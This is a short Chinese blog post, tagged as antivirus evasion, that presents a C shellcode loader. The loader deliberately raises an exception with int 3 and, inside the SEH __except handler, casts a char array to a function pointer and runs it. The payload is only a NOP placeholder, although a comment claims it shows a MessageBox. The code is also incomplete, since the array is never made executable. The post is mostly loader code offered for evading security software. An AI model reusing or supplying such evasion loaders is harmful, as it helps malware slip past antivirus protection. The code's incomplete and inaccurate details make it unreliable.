首页 技术杂谈 正文
  • 本文约550字,阅读需3分钟
  • 251
  • 0

ShellCode加载 - SEH机制

摘要

SEH机制加载shellcode

1、SEH异常处理

  • SEH:是 Windows 的一个机制,它允许程序员为特定的程序错误和异常定义自定义处理程序。
  • 在C++中,可以使用_try_except_finally关键字来实现SEH异常处理。_try块包含可能引发异常的代码;_except块包含处理异常的代码;而_finally块包含在任何情况下都应执行的代码,无论是否发生异常

1.1、SEH加载shellcode

#include <stdio.h>
#include <windows.h>

// 这只是一个示例 shellcode,该 shellcode 会触发 MessageBox
char shellcode[] = "\x90\x90...";  // NOP + your actual shellcode here

void exception_trigger() {
    __asm {
        int 3   // 产生一个断点,触发异常处理程序
    }
}

int main() {
    __try {
        printf("Triggering SEH...\n");
        exception_trigger();
    }
    __except (1) {   // 这是 SEH 的部分,在异常发生时会执行此代码
        void (*func)();
        func = (void (*)()) shellcode;  // 指定 shellcode 地址为我们的函数指针
        func();  // 执行 shellcode
    }

    return 0;
}
标签:免杀
评论